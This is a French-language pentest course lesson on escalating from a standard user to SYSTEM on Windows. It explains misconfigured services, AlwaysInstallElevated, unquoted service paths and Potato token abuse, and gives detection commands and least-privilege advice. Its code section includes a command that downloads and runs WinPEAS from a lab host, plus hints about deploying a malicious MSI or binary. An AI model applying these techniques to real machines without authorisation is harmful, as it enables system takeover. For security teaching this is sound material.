cyber / pentest-red-team
Escalade de privilèges Windows
Explication
Ce que vous allez apprendre
- Transposer la méthodologie d'escalade de privilèges à l'environnement Windows
- Identifier des services mal permissionnés exécutés avec le compte SYSTEM
- Reconnaître les configurations dangereuses AlwaysInstallElevated et unquoted service path
- Comprendre l'abus de privilèges de jeton (technique dite "Potato")
- Documenter chaque chemin d'escalade pour un rapport de pentest exploitable par le client
Dans quel contexte ?
Après avoir obtenu un accès avec un compte utilisateur standard sur un poste Windows d'entreprise dans le cadre d'un test d'intrusion autorisé, l'auditeur doit démontrer si ce compte limité permet d'atteindre les droits SYSTEM — l'équivalent Windows de root. Ce résultat conditionne directement la sévérité attribuée à la faille initiale dans le rapport final : un accès utilisateur standard isolé pèse bien moins qu'une prise de contrôle complète du poste.
D'abord, la même logique de recherche de mauvaise configuration qu'en Linux
L'outil WinPEAS automatise l'énumération côté Windows, exactement comme LinPEAS le fait côté Linux, mais la nature des mauvaises configurations diffère fortement puisque l'architecture des permissions Windows repose sur des ACL, des services et des jetons plutôt que sur de simples bits SUID.
Prérequis
Cette leçon suppose une familiarité de base avec PowerShell et les concepts de services Windows, ainsi qu'une bonne compréhension de la leçon précédente sur l'escalade Linux pour saisir le parallèle méthodologique.
| Vecteur d'escalade Windows | Principe | Commande de vérification |
|---|---|---|
| Service mal permissionné | Un utilisateur peut remplacer l'exécutable d'un service SYSTEM | icacls "chemin\service.exe" |
| AlwaysInstallElevated | Un MSI s'installe avec les droits SYSTEM depuis un compte standard | reg query ... AlwaysInstallElevated |
| Unquoted service path | Windows teste chaque segment d'un chemin non protégé par des guillemets | sc qc NomDuService |
| Abus de jeton (Potato) | SeImpersonatePrivilege détourné pour usurper un jeton SYSTEM | whoami /priv |
Une fois ces vecteurs identifiés, il faut comprendre pourquoi ils fonctionnent
Le cas de l'unquoted service path est particulièrement instructif : si le chemin d'un exécutable de service contient des espaces sans être entouré de guillemets (C:\Program Files\My App\service.exe), Windows interprète littéralement chaque segment séparé par un espace comme un chemin potentiel et les teste dans l'ordre. Si un utilisateur peut écrire un fichier C:\Program.exe, ce dernier sera exécuté avant le vrai service — avec les droits du service, souvent SYSTEM.
Piège courant
Un débutant confond souvent "avoir trouvé un vecteur théorique" et "avoir prouvé l'exploitation". Dans un rapport de pentest professionnel, chaque vecteur d'escalade doit être démontré concrètement en lab, avec des étapes reproductibles, et non simplement mentionné comme une possibilité théorique.
Il reste un dernier point à souligner côté défense
Les privilèges de jeton mal attribués (SeImpersonatePrivilege notamment) permettent des techniques avancées d'usurpation, souvent regroupées sous le nom de famille "Potato" (PrintSpoofer, JuicyPotato). Ces attaques ciblent typiquement des comptes de service qui n'ont, en réalité, aucun besoin légitime de ce privilège.
Bonne pratique
Applique systématiquement le principe du moindre privilège aux comptes de service Windows : retirer SeImpersonatePrivilege à un compte qui n'en a pas l'usage élimine structurellement toute une famille d'attaques, sans nécessiter de correctif logiciel.
Une fois qu'un attaquant a obtenu des privilèges élevés sur une machine, la question suivante est naturelle : comment progresse-t-il ensuite vers d'autres machines du réseau ? C'est précisément le sujet de la prochaine leçon sur le mouvement latéral.
Commandes & code
Escalade de privilèges Windows
Même logique que sous Linux : identifier une mauvaise configuration exploitable par un utilisateur standard.
# Script d'énumération automatique (WinPEAS), exécuté sur la machine cible du lab
Invoke-WebRequest -Uri "http://192.168.56.1/winPEASx64.exe" -OutFile winpeas.exe
.\winpeas.exe# Services Windows avec des permissions de fichier trop larges (service exécuté en SYSTEM)
# Si l'utilisateur peut remplacer l'exécutable, le service SYSTEM exécutera son code au démarrage
icacls "C:\Program Files\VulnService\service.exe"
sc qc VulnService# AlwaysInstallElevated : permet d'installer un MSI avec des droits SYSTEM depuis un compte standard
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Si les deux clés valent 1 : un MSI malveillant généré (ex: via msfvenom) s'installe en SYSTEM# Unquoted service path : Windows essaie chaque segment du chemin non quoté dans l'ordre
sc qc VulnService
# Chemin retourné: C:\Program Files\My App\service.exe (sans guillemets)
# Windows testera successivement : C:\Program.exe puis C:\Program Files\My.exe ...
# Si l'utilisateur peut écrire dans C:\, il peut y déposer un binaire malveillant nommé en conséquence# Jetons et privilèges : SeImpersonatePrivilege abusé par des techniques type "Potato"
whoami /priv
# Si SeImpersonatePrivilege est activé pour un compte de service, des outils comme
# PrintSpoofer ou JuicyPotato peuvent forcer l'usurpation d'un jeton SYSTEM local# Table : vecteurs d'escalade Windows les plus courants
1. Services avec permissions de fichier/registre trop larges
2. AlwaysInstallElevated activé
3. Unquoted service paths avec espaces exploitables
4. Abus de privilèges de jeton (SeImpersonate, SeBackup...)
5. Mots de passe en clair dans des scripts, tâches planifiées, ou l'historique PowerShellRésumé
- WinPEAS automatise l'énumération ; comprendre chaque résultat reste indispensable pour l'exploiter.
- Services mal permissionnés et AlwaysInstallElevated sont deux erreurs de configuration classiques.
- Les privilèges de jeton mal attribués permettent des techniques d'usurpation avancées (Potato-family).
- Toujours documenter précisément le chemin d'escalade utilisé pour le rapport final.
Exercices pratiques
Mission : de compte standard à SYSTEM sur le poste Windows NordShield
Objectif : Identifier un vecteur d'escalade Windows exploitable et évaluer sa criticité réelle pour le rapport final.
Contexte
Tu disposes d'un accès avec un compte utilisateur standard sur un poste Windows de lab NordShield, obtenu lors d'un test de phishing autorisé. L'objectif est de démontrer si ce compte permet d'atteindre les droits SYSTEM.